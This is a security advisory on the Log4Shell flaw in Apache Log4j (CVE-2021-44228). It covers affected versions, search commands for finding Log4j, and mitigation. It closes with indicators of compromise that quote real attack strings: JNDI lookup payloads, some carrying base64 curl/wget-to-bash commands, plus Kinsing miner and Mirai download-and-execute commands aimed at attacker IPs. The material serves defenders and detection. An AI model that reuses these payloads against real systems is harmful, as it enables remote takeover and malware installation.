Critical Apache Log4j remote code execution vulnerability [CVE-2021-44228]

A critical remote code execution vulnerability in Apache Foundation Log4j library has been discovered. This vulnerability has been dubbed Log4Shell.

Apache Log4j <=2.14.1 JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled. From log4j 2.15.0, this behaviour has been disabled by default.

It can allow an attacker to completely take control of an affected server. It can be leveraged in default configurations by an unauthenticated remote attacker to target applications that make use of the Log4j library.

This vulnerability is listed as CVE-2021-44228, it has received a CVSS severity score of a maximum 10.0, and is widely believed to be easy to exploit.

Apache Foundation Log4j is a logging library designed to replace the built-in log4j package. It is often used in popular Java projects, such as Apache Struts 2 and Apache Solr. It is used by many software vendors around the world.

Please be aware that Log4j 1.x has reached end of life and is no longer supported. Vulnerabilities reported after August 2015 against Log4j 1.x were not checked and will not be fixed. Users should upgrade to Log4j 2 to obtain security fixes.

Apache has released an updated version, Log4j 2.15.0. 

For a description of this vulnerability, see the Fixed in Log4j 2.15.0 section of the Apache Log4j Security Vulnerabilities page.

There is currently a GitHub repository listing Log4Shell indicators of compromise (IOCs) with links to individuals and groups actively tracking Log4Shell’s exploitation.

Download updates here – https://logging.apache.org/log4j/2.x/download.html

How to discover unknown instances of Log4j within your organisation

You also should determine if Log4j is installed. Java applications can include all the dependent libraries within their installation.

A file system search for log4j can be undertaken. This should include searching inside EAR, JAR and WAR files. For example:

find / -type f -print0 |xargs -n1 -0 zipgrep -i log4j2 2>/dev/null

If a dependency or package manager is used, this can be searched. For example:

dpkg -l | grep log4j

There could be multiple copies of Log4j present, each copy will need to be updated or mitigated.

Useful Links

Affected products – https://www.techsolvency.com/story-so-far/cve-2021-44228-log4j-log4shell/#affected-products

Affected products – https://gist.github.com/SwitHak/b66db3a06c2955a9cb71a8718970c592

TXT file with host IP’s that are known to have attempted this attack, list updates once a hour – https://raw.githubusercontent.com/CriticalPathSecurity/Public-Intelligence-Feeds/master/log4j.txt

WikiPedia article on Log4j – https://en.wikipedia.org/wiki/Log4j

Remediation

Download the latest Log4j mitigated version 2.15.0 from the official download page

If you can’t upgrade, follow steps below:

1. If using version log4j2.x version >=2.10 and <= 2.14.1, this behaviour can be mitigated by either setting system property log4j2.formatMsgNoLookups or environment variable LOG4J_FORMAT_MSG_NO_LOOKUPS to true.
2. If using version >=2.0-beta9 and <=2.10.0, mitigation is to remove log4j’s JndiLookup class from JVM’s classpath as under:
   zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

INDICATORS OF COMPROMISE (IOCS)

The following indicators of compromise are associated with observed exploitation activity targeting CVE-2021-44228, please note this is not a complete list and is updated as often as possible.

USER-AGENT HTTP HEADERS:

${jndi:ldap://015ed9119662[.]bingsearchlib[.]com:39356/a}
${jndi:ldap://32fce0c1f193[.]bingsearchlib[.]com:39356/a}
${jndi:ldap://3be6466b6a20[.]bingsearchlib[.]com:39356/a}
${jndi:ldap://6c8d7dd40593[.]bingsearchlib[.]com:39356/a}
${jndi:ldap://7faf976567f5[.]bingsearchlib[.]com:39356/a}
${jndi:ldap://e86eafcf9294[.]bingsearchlib[.]com:39356/a}
${jndi:ldap://80.71.158[.]12:5557/Basic/Command/Base64/KGN1cmwgLXMgODAuNzEuMTU4LjEyL2xoLnNofHx3Z2V0IC1xIC1PLSA4MC43MS4xNTguMTIvbGguc2gpfGJhc2g=}
${jndi:ldap://45.155.205[.]233[:]12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC9bdmljdGltIElQXTpbdmljdGltIHBvcnRdfHx3Z2V0IC1xIC1PLSA0NS4xNTUuMjA1LjIzMzo1ODc0L1t2aWN0aW0gSVBdOlt2aWN0aW0gcG9ydF0pfGJhc2gK}

IPs:

109.237.96[.]124
185.100.87[.]202
213.164.204[.]146
185.220.101[.]146
171.25.193[.]20
178.17.171[.]102
45.155.205[.]233
171.25.193[.]25
171.25.193[.]77
171.25.193[.]78
185.220.100[.]242
185.220.101[.]39
18.27.197[.]252
89.234.182[.]139
104.244.79[.]6

KINSING MINING ACTIVITY:

Commands:

curl -o /tmp/kinsing http://80.71.158.12/kinsing
curl -o /tmp/libsystem.so http://80.71.158.12/libsystem.so
curl -o /etc/kinsing http://80.71.158.12/kinsing
chmod 777 /tmp/kinsing
chattr -R -i /var/spool/cron
chmod +x /etc/kinsing

URLs:

hxxp[:]//45.137.155[.]55/ex[.]sh
hxxp[:]//45.137.155[.]55/kinsing
hxxp[:]//80.71.158[.]12/libsystem.so
hxxp[:]//80.71.158[.]12/kinsing
hxxp[:]//80.71.158[.]12/Exploit69ogQNSQYz.class

Hashes (SHA256):

8933820cf2769f6e7f1a711e188f551c3d5d3843c52167a34ab8d6eabb0a63ef
6e25ad03103a1a972b78c642bac09060fa79c460011dc5748cbb433cc459938b
c38c21120d8c17688f9aeb2af5bdafb6b75e1d2673b025b720e50232f888808a

MIRAI INFECTION ACTIVITY:

Mirai retrieval script (SHA256):
3f6120ca0ff7cf6389ce392d4018a5e40b131a083b071187bf54c900e2edad26 (lh[.]sh)
Binary retrieval/execution commands:
wget hxxp[:]//62.210.130[.]250/web/admin/x86;chmod +x x86;./x86 x86;wget hxxp[:]//62.210.130[.]250/web/admin/x86_g;chmod +x x86_g;./x86_g x86_g;wget hxxp[:]//62.210.130[.]250/web/admin/x86_64;chmod +x x86_64;./x86_g x86_64;
Mirai binary hashes (SHA256):
776c341504769aa67af7efc5acc66c338dab5684a8579134d3f23165c7abcc008052f5cc4dfa9a8b4f67280a746acbc099319b9391e3b495a27d08fb5f08db812b794cc70cb33c9b3ae7384157ecb78b54aaddc72f4f9cf90b4a4ce4e6cf8984
Mirai attacker IPs:
62.210.130[.]250